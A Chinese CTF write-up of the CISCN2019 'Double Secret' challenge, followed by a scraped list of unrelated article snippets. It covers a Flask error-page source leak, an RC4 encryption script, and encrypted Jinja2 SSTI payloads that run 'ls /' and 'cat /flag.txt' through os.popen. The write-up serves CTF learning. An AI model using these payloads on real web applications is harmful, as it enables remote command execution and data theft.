练[CISCN2019 华东南赛区]Double Secret
[CISCN2019 华东南赛区]Double Secret
文章目录
- [CISCN2019 华东南赛区]Double Secret
- 掌握知识
- 解题思路
- 关键paylaod
掌握知识
flask框架报错源码泄露,使用脚本进行RC4加解,ssti使用内置函数进行模板注入
解题思路
- 打开网站链接,页面就一句话去发现秘密,尝试查看是不是个目录,发现还真是,又显示给我你的秘密我能给你加密,看着样子感觉是要传参,尝试
secret为参数,随便输入点数据还真返回内容了,但确实没看懂是什么意思



- 直到又随便输入了些内容,发现竟然报错了,看下面内容发现是
flask框架,还是jinjia2模块,看来是传参进行ssti模板注入了。flask这报错界面可能存在源码泄露,前去查看一下app.py文件,明白了是怎么个回事了


- 对上面代码进行分析,接受网页传参,会把数据进行
RC4解密,解密的得到的内容就能进行ssti模板注入了,所以需要将ssti模板注入paylaod进行RC4加密,进行传参利用,找了个在网站加密,但似乎不太行。这里的密钥也泄露了,就是解密函数的参数

- 选择去网上找一个RC4的加密脚本,输入密钥和要执行的
paylaod,将加密字符串进行传参。可以先构造{{7*7}}来检测是否存在ssti注入,传参之后页面回显49证明存在
import base64
from urllib.parse import quotedef rc4_main(key="init_key", message="init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_boxdef rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" % quote(cipher))# print("加密后的输出(经过编码):")# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')rc4_main("key", "key")
- 先尝试使用
jinjia2的注入paylaod,但似乎结果都不太好,试了两个都有报错。接下来尝试使用python基础的ssti模板注入paylaod,先查看一下有没有可以进行命令执行的类


- 将数据保存到
notepad++中,将逗号替换成换行符,开始搜索常用的代码执行的类,但我所保存的能进行命令执行的类都不存在,寻找子类的方法没能成功

- 但是还有另外一种方法,上面是最基础的,还有另外调用OS模板进行命令执行的方法,可以使用
flask的内置函数中的内容,调用其内部的os模块进行命令执行,成功回显了目录信息


- 能成功执行代码,那后面就好办了,查看根目录下的目录信息,发现
flag.txt文件,修改命令读取文件拿下flag




关键paylaod
{{7*7}}
.%14%0E%1F%C3%BD%1A%16{{[].__class__.__base__.__subclasses__()}}
.%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%ADf%C3%87{{url_for.__globals__.os.popen('ls /').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0%21%C2%98%0D%C2%99O%C2%B8f%C3%B6~%C3%9B%C2%89%C2%AA%24%13%C2%A0{{url_for.__globals__.os.popen('cat /flag.txt').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0.%C2%8AY%C2%96G%C3%B7%24%C3%A5%7C%C2%94%C2%99%C3%BAyI%C3%B4T%C2%B7%C2%B8Gh%2A%C2%A27q
相关文章:
练[CISCN2019 华东南赛区]Double Secret
[CISCN2019 华东南赛区]Double Secret 文章目录 [CISCN2019 华东南赛区]Double Secret掌握知识解题思路关键paylaod 掌握知识 flask框架报错源码泄露,使用脚本进行RC4加解,ssti使用内置函数进行模板注入 解题思路 打开网站链接,页面就一…...
『Linux - gcc / g++』c程序翻译过程
文章目录 前言预处理 -E编译 -S汇编 -c链接动静态链接 前言 在计算机中的每一个程序是由代码变化而来的,但是事实上来说,用 c/C 写出的代码是不能被计算机识别的,其中必须经过一系列的过程才能使这个代码能成功的被计算机识别; …...
苹果遭遇安全危机,应用商店曝出不良APP,或影响iPhone的销售
据澎湃新闻报道指苹果的App Store被曝出不良APP位居下载榜前列,这对于向来强调APP严格审核的苹果来说是巨大的打击,更影响向来被认为信息安全遥遥领先的名声,对当下正热销的iPhone15或造成打击。 据了解被曝的软件以“学习XX字母”为命名&…...
docker 基本操作
一、docker 概述 Docker是一个开源的应用容器引擎,基于go语言开发并遵循了apache2.0协议开源。 Docker是在Linux容器里运行应用的开源工具,是一种轻量级的“虚拟机”。 Docker 的容器技术可以在一台主机上轻松为任何应用创建一个轻量级的、可移植的、自…...
ARM:使用汇编完成三个灯流水亮灭
1.汇编源代码 .text .global _start _start: 设置GPIOF寄存器的时钟使能LDR R0,0X50000A28LDR R1,[R0]ORR R1,R1,#(0x1<<5)STR R1,[R0]设置GPIOE寄存器的时钟使能LDR R0,0X50000A28LDR R1,[R0] 从r0为起始地址的4字节数据取出放在R1ORR R1,R1,#(0x1<<4) 第4位设…...
嵌入式养成计划-33--数据库-sqlite3
七十一、 数据库 71.1 数据库基本概念 数据(Data) 能够输入计算机并能被计算机程序识别和处理的信息集合数据库 (Database)数据库是在数据库管理系统管理和控制之下,存放在存储介质上的数据集合 常用的数据库 大型数…...
什么是大数据运维?大数据运维的职责
大数据运维是指管理、监控和维护大规模数据存储和处理平台的过程。它包含了对数据存储、处理、传输等方面的管理和维护,同时负责确保数据的安全性、可靠性和高效性。 大数据运维的职责包括以下几个方面: 确保大数据平台的高可用性和稳定性,…...
解决方案:AI赋能工业生产3.0,从工业“制造”到“智造”
视频监控技术是一种既成熟又广泛应用于工业制造领域的先进技术。它可以通过安装各种摄像头和传感器来监测整个生产流程,包括原材料的采购、加工、装配和物流等环节,从而实现对生产过程的实时监控和管理,以及对异常事件的及时预警和响应。 在…...
Android KeyStore 秘钥导入
源码参考: https://android.googlesource.com/platform/cts//master/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java 辅助源码参考: https://android.googlesource.com/platform/frameworks/base//master/core/java/android…...
TDengine+OpenVINO+AIxBoard,助力时序数据分类
时间序列数据分析在工业,能源,医疗,交通,金融,零售等多个领域都有广泛应用。其中时间序列数据分类是分析时序数据的常见任务之一。本文将通过一个具体的案例,介绍 Intel 团队如何使用 TDengine 作为基础软件…...
设计模式——16. 迭代器模式
1. 说明 迭代器模式(Iterator Pattern)是一种行为型设计模式,它用于提供一种访问聚合对象(如列表、数组、集合等)元素的统一接口,而不需要了解底层数据结构的具体实现。迭代器模式将遍历聚合对象的操作封装在一个独立的迭代器对象中,这样可以隔离遍历算法和数据结构,使…...
flink redis connector需要防止包冲突
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 <dependency><groupId>org.apache.bahir</groupId><artifactId...
socket can查看详细信息 命令 ip -details -statistics link show can0
ip -details -statistics link show can0 ip -details link show can0 ip -statistics link show can0 也可以像第一行那样结合使用...
打造虚拟企业展厅,开启商务活动新时代
引言: 虚拟企业展厅是一种基于数字技术的全新商务模式,正在改变传统商务活动的方式,它比传统的企业展厅更便利,也更能凸显企业优势,展示企业风貌。 一.虚拟企业展厅的好处 1.打破地域限制 传统的商务活动通常需要参…...
03黑马店评-添加商户缓存和商户类型的缓存到Redis
商户查询缓存 什么是缓存 实际开发过程中数据量可以达到几千万,缓存可以作为避震器防止过高的数据访问猛冲系统,避免系统内的操作线程无法及时处理信息而瘫痪 缓存(Cache)就是数据交换的缓冲区(储存临时数据的地方),我们俗称的"缓存"实际就是缓冲区内的数据(一般从…...
LabVIEW玩转魔方
LabVIEW玩转魔方 使用LabVIEW创建一个3D魔方,并找出解谜题的秘密,给朋友留下深刻深刻的印象。游戏中内置的机制使每张脸都能独立转动,从而混合颜色。要解决难题,每个面必须是相同的纯色 魔方的奥秘在于它的简单性和不可解性。这是…...
大数据学习(1)-Hadoop
&&大数据学习&& 🔥系列专栏: 👑哲学语录: 承认自己的无知,乃是开启智慧的大门 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一下博>主哦&#x…...
常用时序模型
常用时序模型 RNN (Recurrent Neural Network): 基本概念: RNN是一种可以处理序列数据的神经网络。它在每一时间步都接收一个新的输入,并将前一个时间步的隐藏状态作为额外的输入。问题: 它的主要问题是在处理长序列时遇到的梯度消失和梯度爆炸。这使得RNN难以捕获长期依赖关…...
阿里云/腾讯云国际站:私服服务器:什么是游戏虚拟服务器及用途讲解?
游戏虚拟服务器是一种新兴的技术,它可以为玩家提供更好的游戏体验。私服服务器它可以将游戏服务器的负载分散到多台服务器上,从而提高游戏的流畅度和稳定性。此外,游戏虚拟服务器还可以提供更多的游戏功能,比如游戏聊天室、游戏排…...
ssti 前置学习
python venv环境 可以把它想象成一个容器,该容器供你用来存放你的Python脚本以及安装各种Python第三方模块,容器里的环境和本机是完全分开的 创建venv环境安装flask #apt install python3.10-venv #cd /opt #python3 -m venv flask1 #cd /opt 选…...
synchronized 学习
学习源: https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖,也要考虑性能问题(场景) 2.常见面试问题: sync出…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...
五年级数学知识边界总结思考-下册
目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
